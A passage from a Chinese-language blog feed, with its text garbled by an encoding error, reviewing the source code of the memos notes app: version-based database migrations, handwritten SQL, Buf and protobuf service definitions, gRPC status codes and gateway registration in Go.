Light Cubehttps://github.red/å½çå¿æ³è¦åæä¸ä»¶äºçæ¶åï¼äººæ»æ¯å¤ç¬çã6468003778633935042144677325825024https://github.red/images/icon.pngLight Cubehttps://github.red/Hugo -- gohugo.iozh-cnFri, 17 Jan 2025 23:01:23 +0800- memos æºç é
读ç¬è®°https://github.red/memos-review/Fri, 17 Jan 2025 23:01:23 +0800https://github.red/memos-review/<p>ä¸ç´æ³è¦æä¸ä¸ªå¹³å°ï¼è½å¤åäºç¢ç¢å¿µä¹ç±»ï¼è®°å½ä¸ä¸å¨é£å åå°çæ°èå¼ï¼æè
å享ä¸ä¸æææçäºæ
ãå¦æå¨ QQ 空é´å¨æåï¼æªå
æäºæ°æ°äºï¼å¦æå¨ Telegram åï¼å 为ç½ç»é®é¢ä¸æ¯å¾æ¹ä¾¿ï¼å¨ç¥è¯æçåï¼å¾ä¸å¹¸æçç¥è¯æçè´¦å·è«åå
¶å¦å°è¢«åç¨äºã</p>
<p>ä¹åå·æ¨ç¹æ¶å¶ç¶åç°äº <a href="https://github.com/usememos/memos">memos</a> è¿ä¸ªé¡¹ç®ï¼å®ä½æ¯ä¸ä¸ª Self-hosted çç¬è®°åºç¨ï¼ä½ç页é¢å¾åæ¯ä¸ä¸ªç²¾ç®çç Twitterãmemos çåè½å¾ç®åï¼ä»¤ææå°æ讶çæ¯ï¼å®ç Repo å±
ç¶æ 36000+ ç Stars æ°ï¼ç¡®å®å害ã</p>
<p>碰巧 memos ä¹æ¯ç¨ Go åï¼åè½åè¿ä¹ç®åï¼æ便æ½ç©ºé
读äºä¸å®çæºç ï¼ä¹è¿ç®æ¯å°ææ¶è·ï¼ç¨è¿ç¯æç« å享ä¸æçå¿å¾ä½ä¼ãæä¸æå°çå
容å¯è½ä½ å¾æ©ä»¥åå°±ç¥éäºï¼è¿è¯·å¤å¤å
涵ã</p>
<p>æ¬æä½¿ç¨ commit <a href="https://github.com/usememos/memos/tree/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e"><code>edc3f1d</code> </a> ç代ç è¿è¡æ¼ç¤ºã</p>
<h2 id="è¯ä¹åçæ¬">è¯ä¹åçæ¬</h2>
<p>è¯ä¹åçæ¬ï¼Semantic Versioningï¼å¨ Go éé¢åºè¯¥æ¯ç¨å¾å¾å¤äºãå å¹´ååå GopherChina çæ¶åï¼å°±æ人ä¸é¨å享äºè¿ä¸ªã</p>
<p>memos å¨ <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/server/version/version.go"><code>server/version/version.go</code></a> ä¸è®°å½äºå½åççæ¬å·ï¼å¹¶ä¸ºä½¿ç¨ <code>golang.org/x/mod/semver</code> å®ç°äºæåºé»è¾ãå¼å¾æ³¨æçæ¯ï¼è¿éççæ¬å·ä¼è¢«ç¨äºå¨æ°æ®åºè¿ç§»ï¼migrationï¼ä¸ãæ¯ä¸ä¸ªçæ¬çæ°æ®åºè¿ç§» SQL æ件ä¼è¢«æ¾ç½®å¨ä»¥çæ¬å·å½åçæ件夹ä¸ï¼å½æ§è¡æ°æ®åºè¿ç§»æ¶ï¼ä¼å°è¿äºçæ¬å·æ件åè¿è¡æåºï¼å¹¶ä¸å½åççæ¬å·è¿è¡å¯¹æ¯ï¼ä»èéæ©è¦æ§è¡çè¿ç§»èæ¬ã</p>
<h2 id="ææ»é½ä¸ç¨-orm">ææ»é½ä¸ç¨ ORM</h2>
<p>memos æ¯æ MySQLãPostgresãSQLite ä¸ç§æ°æ®åºãéå°è¿ç§éè¦æ¯æå¤ç§æ°æ®åºçåºæ¯ï¼æ们å¾å¾ä¼ä½¿ç¨ ORMï¼å°±ç®å¯¹ ORM åå¨çå¯ä½ç¨ä¸ä¿¡ä»»ï¼ä¹ä¼éæ© SQL æ¥è¯¢æé å¨ï¼SQL Query Builderï¼çåºæ¥è¾
å©æ们æé SQLãä½ memos ä¸ç¥éå¨åæä»ä¹ï¼ç¡¬ççå°å¯¹çä¸å¥æ°æ®åºå端åäºä¸å¥ä»£ç ï¼ä»çè³åªç¨ <code>database/sql</code> å对åºæ°æ®åºç Driverï¼ä»çè³æå SQLï¼ä»çè³è¿åç§æ¼ SQL æ¥è¯¢æ¡ä»¶çå段ï¼</p>
<p>åä½å¯ä»¥ä½ä¼ä¸ <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/store/db/mysql/activity.go#L23-L27">store/db/mysql/activity.go#L23-L27</a></p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fields <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">"`creator_id`"</span>, <span style="color:#a5d6ff">"`type`"</span>, <span style="color:#a5d6ff">"`level`"</span>, <span style="color:#a5d6ff">"`payload`"</span>}
</span></span><span style="display:flex;"><span>placeholder <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{<span style="color:#a5d6ff">"?"</span>, <span style="color:#a5d6ff">"?"</span>, <span style="color:#a5d6ff">"?"</span>, <span style="color:#a5d6ff">"?"</span>}
</span></span><span style="display:flex;"><span>args <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">any</span>{create.CreatorID, create.Type.<span style="color:#d2a8ff;font-weight:bold">String</span>(), create.Level.<span style="color:#d2a8ff;font-weight:bold">String</span>(), payloadString}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>stmt <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#a5d6ff">"INSERT INTO `activity` ("</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(fields, <span style="color:#a5d6ff">", "</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">") VALUES ("</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(placeholder, <span style="color:#a5d6ff">", "</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">")"</span>
</span></span></code></pre></div><p>è¿æ®µ <code>INSERT</code> ç就硬ççå°æ¼å段ï¼ç¡¬çççåæ»é¢ç¼è¯å ä½ç¬¦ã</p>
<p>å½ç¶ï¼æ人æäº issue é®ä¸ºä»ä¹ä¸ç¨ ORMï¼å¹¶ä¸æ¨èäº <code>sqlc</code> å <code>sqlbuilders</code> 两个åºãä½è
çåå¤æ¯åè
<code>looks a little weird</code> ï¼ï¼ï¼ï¼åè
<code> pretty much the same as the existing way</code>ï¼ç»¼ä¸æå±ä½è
认为ä¿æç°ç¶å¥ä¹ä¸æ¹ï¼ð
</p>
<p>FYIï¼<a href="https://github.com/usememos/memos/issues/2517">https://github.com/usememos/memos/issues/2517</a></p>
<h2 id="ç©åºè±ç-grpc">ç©åºè±ç gRPC</h2>
<p>memos 项ç®ä¸å¯¹ gRPC çåæ³å¯è°æ¯æç§ä¹¦çº§å«çãæä¹ç®æ¯å¯¹çå®ç代ç å
¥é¨äºä¸ gRPCã说æ¥ææ§ï¼æ以åé¤äºæ¿ Protobuf åè¿ Hello World ç demoï¼å°±æ²¡ææ´æ·±å
¥çåºç¨äºã</p>
<h3 id="buf">Buf</h3>
<p><a href="https://github.com/bufbuild/buf">Buf</a> æ¯ä¸ä¸ªç¨æ¥è¾
å©ä½¿ç¨ Protobuf çå·¥å
·ãå®ç¸å½äºä¸º Protobuf å®ç°äºâå
管çâçåè½ï¼ä½ å¯ä»¥ä½¿ç¨ <code>buf.yaml</code> æ¥å®ä¹éè¦å¼ç¨ç第ä¸æ¹ Protoï¼è¿å¯ä»¥é
ç½® Lint ä¹ç±»çè§åãè¿è¡ <code>buf generate</code> å便ä¼èªå¨å»å¸®æ们å®æè¿è¡ <code>protoc-gen-go</code> çä¸åæä½ãmemos ä¸å°±ä½¿ç¨å°äº Bufï¼å¯ä»¥å¨ <a href="https://github.com/usememos/memos/blob/edc3f1d9d9f8a7b075e0f53f22dd0480cc26451e/proto/buf.yaml"><code>proto/buf.yaml</code></a> æ¾å°ãBuf è¿ä¼çæä¸ä¸ª <code>buf.lock</code> æ件ï¼ä¹å°±æ¯å
管çä¸å¸¸è§çç¾åæ件ã</p>
<p>æ们å¯ä»¥è§å¯å° Buf ç <code>dep</code> ä¾èµå½¢å¦ <code>buf.build/googleapis/googleapis</code> è¿æ ·ç URLï¼è®¿é®ä¾¿å¯è·³è½¬å° Buf Schema Registry ä¸å¯¹åº Package ç页é¢ã</p>
<p>æè§ç¨ Buf æ¥å¤ç Protobufï¼æä½ç®ä¾¿ï¼é¼æ ¼ä¸ä¸å°±ä¸å»äºï¼å¦å°äºã</p>
<h3 id="ç®å½ç»æ">ç®å½ç»æ</h3>
<p>memos ç <code>/proto</code> ç®å½ä¸ï¼<code>store</code> ç®å½ä¸æ°æ®åºç表ç»æ对åºï¼ä¸ºæ¯å¼ 表对åºçå®ä¾ç proto å®ä¹ã<code>api/v1</code> ç®å½ä¸åæ¯ <code>service</code> çå®ä¹ï¼è¿éå对åºäº Web API çè·¯ç±ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">service</span> AuthService {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// GetAuthStatus returns the current auth status of the user.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> GetAuthStatus(GetAuthStatusRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/auth/status"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignIn signs in the user with the given username and password.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignIn(SignInRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/auth/signin"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignInWithSSO signs in the user with the given SSO code.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignInWithSSO(SignInWithSSORequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/auth/signin/sso"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignUp signs up the user with the given username and password.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignUp(SignUpRequest) <span style="color:#ff7b72">returns</span> (User) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/auth/signup"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#8b949e;font-style:italic">// SignOut signs out the user.
</span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> <span style="color:#ff7b72">rpc</span> SignOut(SignOutRequest) <span style="color:#ff7b72">returns</span> (google.protobuf.Empty) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {post<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/auth/signout"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> }<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149">
</span></span></span></code></pre></div><p>ä¾å¦ä¸è¿°ä»£ç ï¼<code>service</code> ä¸çæ¯ä¸ª <code>rpc</code> å¯ä»¥çä½ä¸ä¸ä¸ª API ç¸å¯¹åºã</p>
<p>ä¾å¦ <code>GetAuthStatusRequest</code> è¿äºæ¯å¨ä¸é¢å®ä¹ç <code>message</code> ï¼ç¸å½äºæ¯æ¥å£çå
¥å表åï¼<code>returns</code> æå®äºè¿åå¼ã没æè¿åå¼çæ¥å£å使ç¨äº <code>google.protobuf.Empty</code> ã</p>
<p><code>option</code> æå®äº HTTP ä¸ç请æ±è·¯ç±å请æ±æ¹æ³ã</p>
<p>对äºå¨æè·¯ç±ï¼æè§ä¼æäºå¤æï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-protobuf" data-lang="protobuf"><span style="display:flex;"><span><span style="color:#ff7b72">rpc</span> GetMemo(GetMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {get<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/{name=memos/*}"</span>};<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">"name"</span>;<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span><span style="color:#ff7b72">rpc</span> UpdateMemo(UpdateMemoRequest) <span style="color:#ff7b72">returns</span> (Memo) {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.http) <span style="color:#ff7b72;font-weight:bold">=</span> {<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> patch<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"/api/v1/{memo.name=memos/*}"</span><span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> body<span style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#a5d6ff">"memo"</span><span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> };<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span> <span style="color:#ff7b72">option</span> (google.api.method_signature) <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">"memo,update_mask"</span>;<span style="color:#f85149">
</span></span></span><span style="display:flex;"><span><span style="color:#f85149"></span>}<span style="color:#f85149">
</span></span></span></code></pre></div><p>第ä¸ä¸ª <code>GetMemo</code> ä¸ï¼éå¶äºè·¯ç±çå¿
é¡»è¦å¹é
å° <code>/api/v1/memos/*</code> ï¼åé¢ç <code>method_signature</code> æå®äºå¿
é¡»è¦ä¼ <code>name</code> åæ°ã</p>
<p>第äºä¸ª <code>UpdateMemo</code> ä¸ï¼éå¶äºè·¯ç±å¿
é¡»å¹é
<code>/api/v1/memos/*</code> ã大æ¬å·éæ个å¾æªç <code>memo.name=</code>ï¼å 为 proto éåæ°é½æ¯å¨ rpc çå
¥åä¼ å
¥çï¼å³ <code>UpdateMemoRequest</code> ï¼ï¼åªæ¯æ们å¨éè¿ HTTP API 访é®æ¶ææ PathãHeaderãQueryãBody è¿äºä¼ åçæ¹å¼ãå æ¤å¨ <code>rpc</code> çå®ä¹éï¼è·¯ç±ä¸éé
符çå¼æ¥èªäº <code>UpdateMemoRequest</code> ä¸ç <code>memo.name</code> ãèåé¢ç <code>method_signature</code> æå®äº <code>memo</code> å <code>update_mask</code> 为å¿
é¡»è¦ä¼ çåæ°ã</p>
<p>Service çå
·ä½å®ç°ä¸ï¼å
¶å®è·æ£å¸¸å HTTP æ¥å£å·®ä¸å¤ï¼Service ç»æä½å®ç°å¯¹åº interface éå®ä¹çæ¹æ³å³å¯ãæ注æå°æ¹æ³çé误å¤çï¼ä½¿ç¨çæ¯ <code>google.golang.org/grpc/status</code> æé ç <code>error</code>ï¼ç¶æç ä¹æ¯ grpc å
éèªå¸¦çã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> (s <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service) <span style="color:#d2a8ff;font-weight:bold">GetMemo</span>(ctx context.Context, request <span style="color:#ff7b72;font-weight:bold">*</span>v1pb.GetMemoRequest) (<span style="color:#ff7b72;font-weight:bold">*</span>v1pb.Memo, <span style="color:#ff7b72">error</span>) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, status.<span style="color:#d2a8ff;font-weight:bold">Errorf</span>(codes.PermissionDenied, <span style="color:#a5d6ff">"permission denied"</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><code>codes</code> å
éå®ä¹äº 17 ç§ç¶æç ï¼æå¼å§è¿æçå°±è¿ä¹ç¹ç¶æç ç±»åççè½ç»ææçé误åç±»åï¼äºå®è¯æè¿çå¯ä»¥ãå RESTful API é常常表示ç <code>403</code> 没æéã<code>404</code> ä¸åå¨ã<code>400</code> æ ¼å¼ä¸å¯¹ã<code>5xx</code> æå¡å¯äº çç¶æï¼é½å¯ä»¥æ¾å°ç¶æç è¿è¡å¯¹åºã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">var</span> strToCode = <span style="color:#ff7b72">map</span>[<span style="color:#ff7b72">string</span>]Code{
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"OK"`</span>: OK,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"CANCELLED"`</span>:<span style="color:#8b949e;font-style:italic">/* [sic] */</span> Canceled,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"UNKNOWN"`</span>: Unknown,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"INVALID_ARGUMENT"`</span>: InvalidArgument,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"DEADLINE_EXCEEDED"`</span>: DeadlineExceeded,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"NOT_FOUND"`</span>: NotFound,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"ALREADY_EXISTS"`</span>: AlreadyExists,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"PERMISSION_DENIED"`</span>: PermissionDenied,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"RESOURCE_EXHAUSTED"`</span>: ResourceExhausted,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"FAILED_PRECONDITION"`</span>: FailedPrecondition,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"ABORTED"`</span>: Aborted,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"OUT_OF_RANGE"`</span>: OutOfRange,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"UNIMPLEMENTED"`</span>: Unimplemented,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"INTERNAL"`</span>: Internal,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"UNAVAILABLE"`</span>: Unavailable,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"DATA_LOSS"`</span>: DataLoss,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">`"UNAUTHENTICATED"`</span>: Unauthenticated,
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="grpc-server-å-restful-api-server">gRPC Server å RESTful API Server</h3>
<p>memos ç <code>server/server.go</code> æ件å®ä¹äº HTTP æå¡ãå®ç HTTP æå¡ä½¿ç¨ echo æ¡æ¶ã</p>
<p>éç¹çä¸é¢ç代ç ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>grpcServer <span style="color:#ff7b72;font-weight:bold">:=</span> grpc.<span style="color:#d2a8ff;font-weight:bold">NewServer</span>(
</span></span><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Override the maximum receiving message size to math.MaxInt32 for uploading large resources.</span>
</span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">MaxRecvMsgSize</span>(math.MaxInt32),
</span></span><span style="display:flex;"><span> grpc.<span style="color:#d2a8ff;font-weight:bold">ChainUnaryInterceptor</span>(
</span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewLoggerInterceptor</span>().LoggerInterceptor,
</span></span><span style="display:flex;"><span> grpcrecovery.<span style="color:#d2a8ff;font-weight:bold">UnaryServerInterceptor</span>(),
</span></span><span style="display:flex;"><span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewGRPCAuthInterceptor</span>(store, secret).AuthenticationInterceptor,
</span></span><span style="display:flex;"><span> ))
</span></span><span style="display:flex;"><span>s.grpcServer = grpcServer
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>apiV1Service <span style="color:#ff7b72;font-weight:bold">:=</span> apiv1.<span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(s.Secret, profile, store, grpcServer)
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"failed to register gRPC gateway"</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>è¿éé¦å
声æäºä¸ä¸ª gRPC Serverï¼å¹¶å äºäºå¸¸è§ç Recover ä¸é´ä»¶ãLogger æ¦æªå¨ãACL é´ææ¦æªå¨çã</p>
<p>åé¢ç <code>NewAPIV1Service</code> å建æ¯ä¸åæ¥å£ç ServiceServerãè·è¿å»å¯ä»¥çå°ï¼å®ä¼åä¸è¿°å®ä¹ç gRPC Server 注åææ¯æçæå¡ãè¿äºæ³¨åæå¡ç <code>v1pb.RegisterXXXServiceServer</code> å°±æ¯ç¨ proto æ件èªå¨çæçäºã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">NewAPIV1Service</span>(secret <span style="color:#ff7b72">string</span>, profile <span style="color:#ff7b72;font-weight:bold">*</span>profile.Profile, store <span style="color:#ff7b72;font-weight:bold">*</span>store.Store, grpcServer <span style="color:#ff7b72;font-weight:bold">*</span>grpc.Server) <span style="color:#ff7b72;font-weight:bold">*</span>APIV1Service {
</span></span><span style="display:flex;"><span> grpc.EnableTracing = <span style="color:#79c0ff">true</span>
</span></span><span style="display:flex;"><span> apiv1Service <span style="color:#ff7b72;font-weight:bold">:=</span> <span style="color:#ff7b72;font-weight:bold">&</span>APIV1Service{
</span></span><span style="display:flex;"><span> Secret: secret,
</span></span><span style="display:flex;"><span> Profile: profile,
</span></span><span style="display:flex;"><span> Store: store,
</span></span><span style="display:flex;"><span> grpcServer: grpcServer,
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWorkspaceSettingServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterAuthServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterUserServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMemoServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterResourceServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterInboxServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterActivityServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterWebhookServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterMarkdownServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> v1pb.<span style="color:#d2a8ff;font-weight:bold">RegisterIdentityProviderServiceServer</span>(grpcServer, apiv1Service)
</span></span><span style="display:flex;"><span> reflection.<span style="color:#d2a8ff;font-weight:bold">Register</span>(grpcServer)
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> apiv1Service
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>æåç <code>reflection.Register(grpcServer)</code> ç¨äºæ³¨å gRPC çåå°åè½ï¼è®©å®¢æ·ç«¯å¨è¿è¡æ¶è½å¨æè·å gRPC æå¡çç¸å
³ä¿¡æ¯ï¼å¦æå¡å表ãæ¹æ³å表ãæ¹æ³çè¾å
¥è¾åºåæ°ç±»åçï¼èä¸éè¦äºå
ç¥éæå¡çå
·ä½å®ä¹ã</p>
<hr>
<p>å gRPC Server 注åå®æå¡åï¼ä¸é¢æ¯<strong>å° Echo æ¡æ¶å¯å¨ç HTTP Server ä½ä¸º Gatewayï¼ä»¥å®ç°éè¿ HTTP çæ¹å¼æ¥è®¿é® gRPC Serviceã</strong>ï¼echoServer å°±æ¯ <code>echo.New()</code> åºæ¥çå®ä¾ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Register gRPC gateway as api v1.</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">:=</span> apiV1Service.<span style="color:#d2a8ff;font-weight:bold">RegisterGateway</span>(ctx, echoServer); err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"failed to register gRPC gateway"</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>è·è¿å»çå®ä¹ãè¿éå±
ç¶æ°å»ºäºä¸ä¸ª gRPC ç客æ·ç«¯ï¼</p>
<p><code>runtime.NewServeMux()</code> æ¯ <code>grpc-gateway</code> ä¸çå
